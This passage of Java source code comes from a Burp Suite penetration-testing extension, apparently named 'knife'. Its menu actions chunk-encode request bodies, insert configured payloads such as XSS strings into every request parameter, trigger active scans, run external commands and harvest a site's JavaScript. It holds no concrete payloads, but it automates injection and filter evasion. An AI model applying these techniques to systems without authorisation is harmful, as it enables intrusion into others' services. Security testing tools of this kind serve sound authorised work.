GUI.getConfigTableModel().getConfigValueByKey("Chunked-Length"); 94 | int len =10; 95 | if (lenStr !=null) { 96 | len = Integer.parseInt(lenStr); 97 | } 98 | body = Methods.encoding(body,len,useComment); 99 | } catch (UnsupportedEncodingException e) { 100 | // TODO Auto-generated catch block 101 | e.printStackTrace(); 102 | } 103 | }else if (event.getActionCommand().equals("^_^ Chunked Decoding")) { 104 | Iterator iter = headers.iterator(); 105 | while (iter.hasNext()) { 106 | if (((String)iter.next()).contains("Transfer-Encoding")) { 107 | iter.remove(); 108 | } 109 | } 110 | 111 | try { 112 | body = Methods.decoding(body); 113 | } catch (UnsupportedEncodingException e) { 114 | // TODO Auto-generated catch block 115 | e.printStackTrace(); 116 | } 117 | } 118 | 119 | byte[] newRequestBytes = helpers.buildHttpMessage(headers, body); 120 | 121 | selectedItems[0].setRequest(newRequestBytes); 122 | } 123 | 124 | } 125 | -------------------------------------------------------------------------------- /src/knife/CopyJsOfThisSite.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | import java.net.URL; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | 10 | import javax.swing.JMenuItem; 11 | 12 | import org.apache.commons.lang3.StringUtils; 13 | 14 | import com.bit4woo.utilbox.burp.HelperPlus; 15 | import com.bit4woo.utilbox.utils.SystemUtils; 16 | import com.bit4woo.utilbox.utils.UrlUtils; 17 | 18 | import burp.BurpExtender; 19 | import burp.IBurpExtenderCallbacks; 20 | import burp.IContextMenuInvocation; 21 | import burp.IExtensionHelpers; 22 | import burp.IHttpRequestResponse; 23 | 24 | 25 | public class CopyJsOfThisSite extends JMenuItem { 26 | /** 27 | * 28 | */ 29 | private static final long serialVersionUID = 1L; 30 | 31 | //JMenuItem vs. JMenu 32 | public CopyJsOfThisSite(BurpExtender burp){ 33 | this.setText("^_^ Copy JS Of This Site"); 34 | this.addActionListener(new CopyJsOfThisSite_Action(burp,burp.invocation)); 35 | } 36 | 37 | } 38 | 39 | class CopyJsOfThisSite_Action implements ActionListener{ 40 | private IContextMenuInvocation invocation; 41 | public IExtensionHelpers helpers; 42 | public PrintWriter stdout; 43 | public PrintWriter stderr; 44 | public IBurpExtenderCallbacks callbacks; 45 | public BurpExtender burp; 46 | 47 | public CopyJsOfThisSite_Action(BurpExtender burp,IContextMenuInvocation invocation) { 48 | this.burp = burp; 49 | this.invocation = invocation; 50 | this.helpers = burp.helpers; 51 | this.callbacks = BurpExtender.callbacks; 52 | this.stderr = BurpExtender.stderr; 53 | this.stdout = BurpExtender.stdout; 54 | } 55 | 56 | @Override 57 | public void actionPerformed(ActionEvent event) { 58 | Runnable Runner = new Runnable() { 59 | @Override 60 | public void run() { 61 | try{ 62 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 63 | if (messages == null || messages.length <=0) { 64 | return; 65 | } 66 | try { 67 | String content = findUrls(messages[0]); 68 | SystemUtils.writeToClipboard(content); 69 | } catch (Exception e) { 70 | e.printStackTrace(BurpExtender.getStderr()); 71 | } 72 | } 73 | catch (Exception e1) 74 | { 75 | e1.printStackTrace(stderr); 76 | } 77 | } 78 | 79 | 80 | /** 81 | * 根据当前web的baseUrl找JS,特征就是referer以它开头 82 | * @param message 83 | * @return 84 | * @return 85 | */ 86 | public String findUrls(IHttpRequestResponse message){ 87 | HelperPlus getter = new HelperPlus(helpers); 88 | 89 | List JsCode = new ArrayList<>(); 90 | String current_referUrl = getter.getHeaderValueOf(true,message,"Referer"); 91 | String current_fullUrl = getter.getFullURL(message).toString(); 92 | 93 | 94 | String siteBaseUrl = null; 95 | if (current_fullUrl != null) { 96 | siteBaseUrl = UrlUtils.getBaseUrl(current_referUrl); 97 | } 98 | if (siteBaseUrl == null) { 99 | siteBaseUrl = UrlUtils.getBaseUrl(current_fullUrl); 100 | } 101 | 102 | if (StringUtils.isEmpty(siteBaseUrl)){ 103 | return ""; 104 | } 105 | 106 | IHttpRequestResponse[] messages = BurpExtender.getCallbacks().getSiteMap(null); 107 | for (IHttpRequestResponse item:messages) { 108 | int code = getter.getStatusCode(item); 109 | URL url = getter.getFullURL(item); 110 | String referUrl = getter.getHeaderValueOf(true,item,"Referer"); 111 | if (referUrl == null || url== null || code <=0) { 112 | continue; 113 | } 114 | if (!url.toString().toLowerCase().endsWith(".js") || !url.toString().toLowerCase().endsWith(".js.map")) { 115 | continue; 116 | } 117 | 118 | if (referUrl.toLowerCase().startsWith(siteBaseUrl.toLowerCase())) { 119 | byte[] respBody = HelperPlus.getBody(false, item); 120 | String body = new String(respBody); 121 | JsCode.add(url.toString()); 122 | JsCode.add(body); 123 | } 124 | } 125 | 126 | return String.join(System.lineSeparator(), JsCode); 127 | } 128 | 129 | }; 130 | new Thread(Runner).start(); 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /src/knife/CustomPayloadForAllInsertpointMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | import java.util.ArrayList; 7 | import java.util.Iterator; 8 | import java.util.List; 9 | 10 | import javax.swing.JMenu; 11 | import javax.swing.JMenuItem; 12 | 13 | import org.json.JSONArray; 14 | import org.json.JSONException; 15 | import org.json.JSONObject; 16 | 17 | import com.bit4woo.utilbox.burp.HelperPlus; 18 | import com.bit4woo.utilbox.utils.CharsetUtils; 19 | 20 | import burp.BurpExtender; 21 | import burp.IBurpExtenderCallbacks; 22 | import burp.IContextMenuInvocation; 23 | import burp.IExtensionHelpers; 24 | import burp.IHttpRequestResponse; 25 | import burp.IParameter; 26 | import config.ConfigEntry; 27 | import config.GUI; 28 | 29 | /** 30 | * 将某个payload插入所有的插入点,比如XSS 31 | * @author bit4woo 32 | */ 33 | 34 | //reference XXE_Menu.java 35 | public class CustomPayloadForAllInsertpointMenu extends JMenu { 36 | /** 37 | * 38 | */ 39 | private static final long serialVersionUID = 1L; 40 | public BurpExtender burp; 41 | 42 | public CustomPayloadForAllInsertpointMenu(BurpExtender burp){ 43 | try { 44 | this.setText("^_^ Insert Payload For All"); 45 | this.burp = burp; 46 | 47 | List configs = GUI.getConfigTableModel().getConfigByType(ConfigEntry.Config_Custom_Payload); 48 | List configs1 = GUI.getConfigTableModel().getConfigByType(ConfigEntry.Config_Custom_Payload_Base64); 49 | configs.addAll(configs1); 50 | for (ConfigEntry config:configs){ 51 | String name = config.getKey(); 52 | JMenuItem item = new JMenuItem(name); 53 | item.addActionListener(new ForAllInserpointListener(burp,config)); 54 | add(item); 55 | } 56 | } catch (Exception e) { 57 | e.printStackTrace(BurpExtender.getStderr()); 58 | } 59 | } 60 | } 61 | 62 | class ForAllInserpointListener implements ActionListener { 63 | private final ConfigEntry config; 64 | private IContextMenuInvocation invocation; 65 | public IExtensionHelpers helpers; 66 | public PrintWriter stdout; 67 | public PrintWriter stderr; 68 | public IBurpExtenderCallbacks callbacks; 69 | public BurpExtender burp; 70 | 71 | public ForAllInserpointListener(BurpExtender burp,ConfigEntry config) { 72 | this.burp = burp; 73 | this.invocation = burp.invocation; 74 | this.helpers = burp.helpers; 75 | this.callbacks = burp.callbacks; 76 | this.stderr = burp.stderr; 77 | this.stdout = burp.stdout; 78 | this.config = config; 79 | } 80 | 81 | @Override 82 | public void actionPerformed(ActionEvent event) { 83 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages(); 84 | IHttpRequestResponse messageInfo = selectedItems[0]; 85 | byte[] newRequest = messageInfo.getRequest();//为了不影响原始request,通过final进行一次转换 86 | 87 | HelperPlus getter = new HelperPlus(helpers); 88 | List paras = getter.getParameters(messageInfo); 89 | 90 | String charset = CharsetUtils.detectCharset(newRequest); 91 | String xsspayload = config.getFinalValue(messageInfo); 92 | if (xsspayload == null) return; 93 | 94 | boolean jsonHandled = false; 95 | for(IParameter para:paras) { 96 | String value = para.getValue(); 97 | byte type = para.getType(); 98 | if (type == IParameter.PARAM_COOKIE || isInt(value)) { 99 | continue; 100 | }else if (type == IParameter.PARAM_JSON ) {//json参数的更新方法,这里只是针对body是json 101 | if (!jsonHandled){ 102 | //stdout.println(para.getValue()); 103 | List headers = helpers.analyzeRequest(newRequest).getHeaders(); 104 | try { 105 | String body = new String(HelperPlus.getBody(true,newRequest),charset); 106 | if (isJSON(body)){ 107 | body = updateJSONValue(body,xsspayload); 108 | newRequest = helpers.buildHttpMessage(headers,body.getBytes(charset)); 109 | jsonHandled = true; 110 | } 111 | } catch (Exception e) { 112 | e.printStackTrace(stderr); 113 | } 114 | } 115 | }else { 116 | if (type == IParameter.PARAM_URL) {//url中的参数需要编码 117 | value = helpers.urlDecode(value); 118 | } 119 | if (isJSON(value)){//当参数的值是json格式 120 | try { 121 | value = updateJSONValue(value,xsspayload); 122 | } catch (Exception e) { 123 | e.printStackTrace(stderr); 124 | } 125 | }else { 126 | value = value+xsspayload; 127 | } 128 | 129 | if (type == IParameter.PARAM_URL) {//url中的参数需要编码 130 | value = helpers.urlEncode(value); 131 | } 132 | IParameter newPara = helpers.buildParameter(para.getName(), value, para.getType()); 133 | newRequest = helpers.updateParameter(newRequest, newPara); 134 | } 135 | } 136 | messageInfo.setRequest(newRequest); 137 | } 138 | 139 | public static boolean isInt(String input) { 140 | try { 141 | Integer b = Integer.valueOf(input); 142 | return true; 143 | } catch (NumberFormatException e) { 144 | try { 145 | long l = Long.valueOf(input); 146 | return true; 147 | }catch(Exception e1) { 148 | 149 | } 150 | return false; 151 | } 152 | } 153 | 154 | public static boolean isJSON(String test) { 155 | if (isJSONObject(test) || isJSONArray(test)) { 156 | return true; 157 | }else { 158 | return false; 159 | } 160 | } 161 | 162 | //org.json 163 | public static boolean isJSONObject(String test) { 164 | try { 165 | new JSONObject(test); 166 | return true; 167 | } catch (JSONException ex) { 168 | return false; 169 | } 170 | } 171 | 172 | 173 | public static boolean isJSONArray(String test) { 174 | try { 175 | new JSONArray(test); 176 | return true; 177 | } catch (JSONException ex) { 178 | return false; 179 | } 180 | } 181 | 182 | //org.json 183 | public static String updateJSONValue(String JSONString, String payload) throws Exception { 184 | 185 | if (isJSONObject(JSONString)) { 186 | JSONObject obj = new JSONObject(JSONString); 187 | Iterator iterator = obj.keys(); 188 | while (iterator.hasNext()) { 189 | String key = (String) iterator.next(); // We need to know keys of Jsonobject 190 | String value = obj.get(key).toString(); 191 | 192 | 193 | if (isJSONObject(value)) {// if it's jsonobject 194 | String newValue = updateJSONValue(value, payload); 195 | obj.put(key,new JSONObject(newValue)); 196 | }else if (isJSONArray(value)) {// if it's jsonarray 197 | String newValue = updateJSONValue(value, payload); 198 | obj.put(key,new JSONArray(newValue)); 199 | }else { 200 | if (!isBooleanOrNumber(value)){ 201 | obj.put(key, value+payload); 202 | } 203 | } 204 | } 205 | return obj.toString(); 206 | }else if(isJSONArray(JSONString)) { 207 | JSONArray jArray = new JSONArray(JSONString); 208 | 209 | ArrayList newjArray = new ArrayList(); 210 | for (int i=0;i=0;){ 231 | int chr=str.charAt(i); 232 | if(chr<48 || chr>57) { 233 | return false; 234 | } 235 | } 236 | return true; 237 | } 238 | } 239 | -------------------------------------------------------------------------------- /src/knife/CustomPayloadMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import burp.BurpExtender; 4 | import burp.IHttpRequestResponse; 5 | import burp.Methods; 6 | import config.ConfigEntry; 7 | import config.GUI; 8 | 9 | import javax.swing.*; 10 | import java.awt.event.ActionEvent; 11 | import java.awt.event.ActionListener; 12 | import java.util.Base64; 13 | import java.util.List; 14 | import java.util.regex.Matcher; 15 | import java.util.regex.Pattern; 16 | 17 | /** 18 | * @author bit4woo 19 | */ 20 | public class CustomPayloadMenu extends JMenu { 21 | /** 22 | * 23 | */ 24 | private static final long serialVersionUID = 1L; 25 | public BurpExtender myburp; 26 | 27 | public CustomPayloadMenu(BurpExtender burp) { 28 | try { 29 | this.setText("^_^ Insert Payload"); 30 | this.myburp = burp; 31 | 32 | List configs = GUI.getConfigTableModel().getConfigByType(ConfigEntry.Config_Custom_Payload); 33 | List configs1 = GUI.getConfigTableModel().getConfigByType(ConfigEntry.Config_Custom_Payload_Base64); 34 | configs.addAll(configs1); 35 | for (ConfigEntry config : configs) { 36 | String name = config.getKey(); 37 | JMenuItem item = new JMenuItem(name); 38 | item.addActionListener(new CustomPayloadItemListener(burp, config)); 39 | add(item); 40 | } 41 | } catch (Exception e) { 42 | e.printStackTrace(BurpExtender.getStderr()); 43 | } 44 | } 45 | } 46 | 47 | class CustomPayloadItemListener implements ActionListener { 48 | 49 | BurpExtender myburp; 50 | private ConfigEntry config; 51 | 52 | CustomPayloadItemListener(BurpExtender burp, ConfigEntry config) { 53 | this.myburp = burp; 54 | this.config = config; 55 | } 56 | 57 | @Override 58 | public void actionPerformed(ActionEvent e) { 59 | IHttpRequestResponse req = myburp.invocation.getSelectedMessages()[0]; 60 | byte[] request = req.getRequest(); 61 | int[] selectedIndex = myburp.invocation.getSelectionBounds(); 62 | 63 | byte[] newRequest = GetNewRequest(request, selectedIndex, config); 64 | req.setRequest(newRequest); 65 | } 66 | 67 | public byte[] GetNewRequest(byte[] request, int[] selectedIndex, ConfigEntry config) {//action is the payload name 68 | 69 | byte[] payloadBytes; 70 | if (config.getType().equals(ConfigEntry.Config_Custom_Payload_Base64)) { 71 | payloadBytes = Base64.getDecoder().decode(config.getValue()); 72 | } else { 73 | String payload = config.getFinalValue(myburp.invocation.getSelectedMessages()[0]); 74 | payloadBytes = payload.getBytes(); 75 | } 76 | 77 | if (payloadBytes != null) { 78 | return Methods.do_modify_request(request, selectedIndex, payloadBytes); 79 | } else { 80 | return request; 81 | } 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/knife/DismissCancelMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | 7 | import javax.swing.JMenuItem; 8 | 9 | import burp.BurpExtender; 10 | import burp.IBurpExtenderCallbacks; 11 | import burp.IContextMenuInvocation; 12 | import burp.IExtensionHelpers; 13 | import burp.IHttpRequestResponse; 14 | import config.ProcessManager; 15 | 16 | public class DismissCancelMenu extends JMenuItem {//JMenuItem vs. JMenu 17 | 18 | public DismissCancelMenu(BurpExtender burp){ 19 | this.setText("^_^ Dismiss Cancle"); 20 | this.addActionListener(new Dismiss_Cancel_Action(burp,burp.invocation)); 21 | } 22 | } 23 | 24 | 25 | class Dismiss_Cancel_Action implements ActionListener{ 26 | //scope matching is actually String matching!! 27 | private final IContextMenuInvocation invocation; 28 | public BurpExtender myburp; 29 | public IExtensionHelpers helpers; 30 | public PrintWriter stdout; 31 | public PrintWriter stderr; 32 | public IBurpExtenderCallbacks callbacks; 33 | //callbacks.printOutput(Integer.toString(invocation.getToolFlag()));//issue tab of target map is 16 34 | public Dismiss_Cancel_Action(BurpExtender burp,IContextMenuInvocation invocation) { 35 | this.invocation = invocation; 36 | this.myburp = burp; 37 | this.helpers = burp.helpers; 38 | this.callbacks = BurpExtender.callbacks; 39 | this.stderr = BurpExtender.stderr; 40 | } 41 | 42 | 43 | @Override 44 | public void actionPerformed(ActionEvent e) 45 | { 46 | ProcessManager.removeDismissRule(invocation.getToolFlag(),invocation.getSelectedMessages()); 47 | } 48 | } -------------------------------------------------------------------------------- /src/knife/DismissMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | import java.util.Objects; 7 | 8 | import javax.swing.JMenuItem; 9 | import javax.swing.JOptionPane; 10 | 11 | import com.bit4woo.utilbox.utils.SystemUtils; 12 | import com.ibm.icu.impl.duration.impl.Utils; 13 | 14 | import burp.BurpExtender; 15 | import burp.IBurpExtenderCallbacks; 16 | import burp.IContextMenuInvocation; 17 | import burp.IExtensionHelpers; 18 | import burp.IHttpRequestResponse; 19 | import config.ConfigEntry; 20 | import config.ProcessManager; 21 | 22 | public class DismissMenu extends JMenuItem {//JMenuItem vs. JMenu 23 | 24 | public DismissMenu(BurpExtender burp){ 25 | this.setText("^_^ Dismiss"); 26 | this.addActionListener(new Dismiss_Action(burp,burp.invocation)); 27 | } 28 | } 29 | 30 | class Dismiss_Action implements ActionListener{ 31 | //scope matching is actually String matching!! 32 | private final IContextMenuInvocation invocation; 33 | public BurpExtender myburp; 34 | public IExtensionHelpers helpers; 35 | public PrintWriter stdout; 36 | public PrintWriter stderr; 37 | public IBurpExtenderCallbacks callbacks; 38 | //callbacks.printOutput(Integer.toString(invocation.getToolFlag()));//issue tab of target map is 16 39 | public Dismiss_Action(BurpExtender burp,IContextMenuInvocation invocation) { 40 | this.invocation = invocation; 41 | this.myburp = burp; 42 | this.helpers = burp.helpers; 43 | this.callbacks = BurpExtender.callbacks; 44 | this.stderr = BurpExtender.stderr; 45 | } 46 | 47 | @Override 48 | public void actionPerformed(ActionEvent e) 49 | { 50 | String action = fetchChangeType(); 51 | 52 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 53 | 54 | String keyword = null; 55 | if (Objects.equals(action, ConfigEntry.Action_Drop_Request_If_Keyword_Matches) || 56 | Objects.equals(action, ConfigEntry.Action_Forward_Request_If_Keyword_Matches)) { 57 | keyword = fetchKeyword(); 58 | } 59 | 60 | ProcessManager.putDismissRule(messages, keyword, action); 61 | } 62 | 63 | public static String fetchChangeType() { 64 | /* 65 | Object[] options = { "Help","Drop Host","Drop URL","Drop Keyword","Forward Host","Forward URL","Forward Keyword"}; 66 | int user_input = JOptionPane.showOptionDialog(null, "Which Action Do You Want To Take?", "Chose Your Action And Scope", 67 | JOptionPane.DEFAULT_OPTION, JOptionPane.WARNING_MESSAGE, 68 | null, options, options[0]); 69 | */ 70 | 71 | String[] options = new ConfigEntry().listAllDropForwardActions(); 72 | String selectedValue = (String) JOptionPane.showInputDialog(null, 73 | "Chose Your Action", "Chose Action To Handle", 74 | JOptionPane.INFORMATION_MESSAGE, null, 75 | options, options[0]); 76 | 77 | if (Objects.equals(selectedValue, options[options.length - 1])) { 78 | try { 79 | SystemUtils.browserOpen("https://github.com/bit4woo/knife/blob/master/README.md", null); 80 | } catch (Exception e) { 81 | e.printStackTrace(); 82 | } 83 | selectedValue = fetchChangeType(); 84 | } 85 | return selectedValue; 86 | } 87 | 88 | 89 | public static String fetchKeyword() { 90 | String keyword = JOptionPane.showInputDialog("Input Your Keyword", ""); 91 | if (keyword == null) { 92 | return null; 93 | } 94 | return keyword.trim(); 95 | } 96 | } -------------------------------------------------------------------------------- /src/knife/DoActiveScanMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | 7 | import javax.swing.JMenuItem; 8 | 9 | import burp.BurpExtender; 10 | import burp.IBurpExtenderCallbacks; 11 | import burp.IContextMenuInvocation; 12 | import burp.IExtensionHelpers; 13 | import burp.IHttpRequestResponse; 14 | 15 | public class DoActiveScanMenu extends JMenuItem {//JMenuItem vs. JMenu 16 | 17 | public DoActiveScanMenu(BurpExtender burp){ 18 | this.setText("^_^ Do Active Scan"); 19 | this.addActionListener(new DoActiveScan_Action(burp,burp.invocation)); 20 | } 21 | } 22 | 23 | class DoActiveScan_Action implements ActionListener{ 24 | //scope matching is actually String matching!! 25 | private IContextMenuInvocation invocation; 26 | public BurpExtender myburp; 27 | public IExtensionHelpers helpers; 28 | public PrintWriter stdout; 29 | public PrintWriter stderr; 30 | public IBurpExtenderCallbacks callbacks; 31 | //callbacks.printOutput(Integer.toString(invocation.getToolFlag()));//issue tab of target map is 16 32 | public DoActiveScan_Action(BurpExtender burp,IContextMenuInvocation invocation) { 33 | this.invocation = invocation; 34 | this.helpers = burp.helpers; 35 | this.callbacks = burp.callbacks; 36 | this.stderr = burp.stderr; 37 | } 38 | 39 | 40 | @Override 41 | public void actionPerformed(ActionEvent e) 42 | { 43 | try{ 44 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 45 | for(IHttpRequestResponse message:messages) { 46 | 47 | String host = message.getHttpService().getHost(); 48 | int port = message.getHttpService().getPort(); 49 | 50 | boolean useHttps; 51 | if (message.getHttpService().getProtocol().equalsIgnoreCase("https")){ 52 | useHttps = true; 53 | }else { 54 | useHttps = false; 55 | } 56 | byte[] request = message.getRequest(); 57 | 58 | callbacks.doActiveScan(host, port, useHttps, request); 59 | } 60 | } 61 | catch (Exception e1) 62 | { 63 | e1.printStackTrace(stderr); 64 | } 65 | } 66 | } -------------------------------------------------------------------------------- /src/knife/DownloadResponseMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.File; 6 | import java.io.IOException; 7 | import java.io.PrintWriter; 8 | import java.text.SimpleDateFormat; 9 | import java.util.Date; 10 | import java.util.List; 11 | 12 | import javax.swing.JFileChooser; 13 | import javax.swing.JMenuItem; 14 | 15 | import org.apache.commons.io.FileUtils; 16 | 17 | import com.bit4woo.utilbox.burp.HelperPlus; 18 | 19 | import burp.BurpExtender; 20 | import burp.IBurpExtenderCallbacks; 21 | import burp.IContextMenuInvocation; 22 | import burp.IExtensionHelpers; 23 | import burp.IHttpRequestResponse; 24 | import burp.IParameter; 25 | 26 | 27 | public class DownloadResponseMenu extends JMenuItem { 28 | /** 29 | * 30 | */ 31 | private static final long serialVersionUID = 1L; 32 | 33 | //JMenuItem vs. JMenu 34 | public DownloadResponseMenu(BurpExtender burp){ 35 | this.setText("^_^ Download Response"); 36 | this.addActionListener(new Download_Action(burp,burp.invocation)); 37 | } 38 | } 39 | 40 | class Download_Action implements ActionListener{ 41 | private IContextMenuInvocation invocation; 42 | public IExtensionHelpers helpers; 43 | public PrintWriter stdout; 44 | public PrintWriter stderr; 45 | public IBurpExtenderCallbacks callbacks; 46 | public BurpExtender burp; 47 | 48 | public Download_Action(BurpExtender burp,IContextMenuInvocation invocation) { 49 | this.burp = burp; 50 | this.invocation = invocation; 51 | this.helpers = burp.helpers; 52 | this.callbacks = BurpExtender.callbacks; 53 | this.stderr = BurpExtender.stderr; 54 | this.stdout = BurpExtender.stdout; 55 | } 56 | 57 | @Override 58 | public void actionPerformed(ActionEvent event) { 59 | Runnable SqlmapRunner = new Runnable() { 60 | @Override 61 | public void run() { 62 | try{ 63 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 64 | HelperPlus getter = new HelperPlus(helpers); 65 | if (messages == null) { 66 | return; 67 | } 68 | if (messages.length == 1) { 69 | 70 | String filename = getter.getFullURL(messages[0]).getFile(); 71 | byte[] respBody = getter.getBody(false, messages[0]); 72 | File downloadFile = saveDialog(filename); 73 | if (downloadFile!= null) { 74 | FileUtils.writeByteArrayToFile(downloadFile, respBody); 75 | } 76 | }else { 77 | File rootPath = selectPath();//指定多个文件保存的根目录 78 | // System.out.println("rootPath:"+rootPath); 79 | 80 | for (IHttpRequestResponse message:messages) { 81 | try { 82 | byte[] respBody = getter.getBody(false, message); 83 | File fullName = getFileName(message,rootPath); 84 | System.out.println("Save file: "+fullName); 85 | if (fullName!= null) { 86 | //System.out.println(fullName); 87 | FileUtils.writeByteArrayToFile(fullName, respBody); 88 | } 89 | } catch (Exception e) { 90 | e.printStackTrace(BurpExtender.getStderr()); 91 | } 92 | } 93 | } 94 | } 95 | catch (Exception e1) 96 | { 97 | e1.printStackTrace(stderr); 98 | } 99 | } 100 | }; 101 | new Thread(SqlmapRunner).start(); 102 | } 103 | 104 | public File saveDialog(String defaultFileName) { 105 | try { 106 | JFileChooser fc = new JFileChooser(); 107 | if (fc.getCurrentDirectory() != null) { 108 | fc = new JFileChooser(fc.getCurrentDirectory()); 109 | }else { 110 | fc = new JFileChooser(); 111 | } 112 | 113 | fc.setDialogType(JFileChooser.CUSTOM_DIALOG); 114 | fc.setSelectedFile(new File(defaultFileName)); 115 | 116 | int action = fc.showSaveDialog(null); 117 | 118 | if(action==JFileChooser.APPROVE_OPTION){ 119 | File file=fc.getSelectedFile(); 120 | return file; 121 | } 122 | return null; 123 | }catch (Exception e){ 124 | e.printStackTrace(); 125 | return null; 126 | } 127 | } 128 | 129 | public File selectPath() { 130 | try { 131 | JFileChooser fc = new JFileChooser(); 132 | if (fc.getCurrentDirectory() != null) { 133 | fc = new JFileChooser(fc.getCurrentDirectory()); 134 | }else { 135 | fc = new JFileChooser(); 136 | } 137 | 138 | fc.setDialogType(JFileChooser.CUSTOM_DIALOG); 139 | fc.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); 140 | 141 | int action = fc.showSaveDialog(null); 142 | 143 | if(action==JFileChooser.APPROVE_OPTION){ 144 | File path=fc.getSelectedFile(); 145 | return path; 146 | } 147 | return null; 148 | }catch (Exception e){ 149 | e.printStackTrace(); 150 | return null; 151 | } 152 | } 153 | 154 | 155 | public File getFileName(IHttpRequestResponse message,File rootPath) throws IOException{ 156 | String canonicalFile = "KnifeSaved"; 157 | try { 158 | HelperPlus getter = new HelperPlus(helpers); 159 | 160 | String pathStr = null; 161 | //1、从参数名中获取文件名称,任意文件读取多是这种情况 162 | List paras = getter.getParameters(message); 163 | for (IParameter para:paras) { 164 | if (para.getType() == IParameter.PARAM_COOKIE) continue; 165 | String value = para.getValue(); 166 | int num = value.length()-value.replaceAll("/", "").length(); 167 | if (num >=2) { 168 | pathStr = value; 169 | break; 170 | } 171 | } 172 | 173 | for (IParameter para:paras) { 174 | if (para.getType() == IParameter.PARAM_COOKIE) continue; 175 | String value = para.getValue(); 176 | int num = value.length()-value.replaceAll("\\\\", "").length();//是正则表达式 177 | if (num >=2) { 178 | pathStr = value; 179 | break; 180 | } 181 | } 182 | 183 | //2、使用url Path作为文件名, 184 | if (null == pathStr) { 185 | pathStr = getter.getFullURL(message).getPath();//getFile()包含了query中的内容 186 | pathStr = pathStr.substring(pathStr.lastIndexOf("/")); 187 | } 188 | 189 | canonicalFile = new File(pathStr).getCanonicalFile().toString(); 190 | //System.out.println("canonicalFile: "+canonicalFile); 191 | canonicalFile = canonicalFile.substring(canonicalFile.indexOf(File.separator));//如果是windows系统,需要去除磁盘符号 192 | } catch (IOException e) { 193 | e.printStackTrace(); 194 | } 195 | 196 | File fullName = new File(rootPath,canonicalFile); 197 | //System.out.println("fullName: "+fullName); 198 | 199 | if (fullName.exists()){ 200 | SimpleDateFormat simpleDateFormat = 201 | new SimpleDateFormat("YYMMdd-HHmmss"); 202 | String timeString = simpleDateFormat.format(new Date()); 203 | fullName = new File(rootPath,canonicalFile+timeString); 204 | } 205 | return fullName; 206 | } 207 | 208 | public static void main(String[] args) { 209 | 210 | } 211 | } 212 | -------------------------------------------------------------------------------- /src/knife/FindUrlAndRequest.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import javax.swing.JMenuItem; 4 | 5 | import base.FindUrlAction; 6 | import burp.BurpExtender; 7 | 8 | 9 | public class FindUrlAndRequest extends JMenuItem { 10 | /** 11 | * 12 | */ 13 | private static final long serialVersionUID = 1L; 14 | 15 | 16 | //JMenuItem vs. JMenu 17 | public FindUrlAndRequest(BurpExtender burp) { 18 | this.setText("^_^ Find URL And Request"); 19 | this.addActionListener(new FindUrlAction(burp, burp.invocation)); 20 | } 21 | 22 | public static void main(String[] args) { 23 | String url = "./abac/aaa.jpg"; 24 | if (url.startsWith("./")) { 25 | url = url.replaceFirst("\\./", ""); 26 | } 27 | System.out.println(url); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/knife/RunCmdMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import burp.BurpExtender; 4 | import config.ConfigEntry; 5 | import config.GUI; 6 | import runcmd.RunCmd_Action; 7 | 8 | import javax.swing.*; 9 | import java.util.List; 10 | 11 | public class RunCmdMenu extends JMenu { 12 | /** 13 | * 14 | */ 15 | private static final long serialVersionUID = 1L; 16 | 17 | //JMenuItem vs. JMenu 18 | public RunCmdMenu(BurpExtender burp) { 19 | try { 20 | this.setText("^_^ Run Cmd"); 21 | List configs = GUI.getConfigTableModel().getConfigByType(ConfigEntry.Run_External_Cmd); 22 | 23 | for (ConfigEntry config : configs) { 24 | JMenuItem item = new JMenuItem(config.getKey()); 25 | item.addActionListener(new RunCmd_Action(burp, burp.invocation, config)); 26 | add(item); 27 | } 28 | 29 | } catch (Exception e) { 30 | e.printStackTrace(BurpExtender.getStderr()); 31 | } 32 | } 33 | 34 | public static void main(String[] args) { 35 | 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/knife/SetCookieMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | 7 | import javax.swing.JMenuItem; 8 | 9 | import burp.BurpExtender; 10 | import burp.IBurpExtenderCallbacks; 11 | import burp.IContextMenuInvocation; 12 | import burp.IExtensionHelpers; 13 | import burp.IHttpRequestResponse; 14 | import config.CookieFinder; 15 | import config.ProcessManager; 16 | 17 | public class SetCookieMenu extends JMenuItem { 18 | //JMenuItem vs. JMenu 19 | 20 | private static final long serialVersionUID = 1L; 21 | 22 | public SetCookieMenu(BurpExtender burp){ 23 | this.setText("^_^ Set Cookie"); 24 | this.addActionListener(new SetCookie_Action(burp,burp.invocation)); 25 | } 26 | } 27 | 28 | class SetCookie_Action implements ActionListener{ 29 | private final IContextMenuInvocation invocation; 30 | public IExtensionHelpers helpers; 31 | public PrintWriter stdout; 32 | public PrintWriter stderr; 33 | public IBurpExtenderCallbacks callbacks; 34 | public BurpExtender burp; 35 | 36 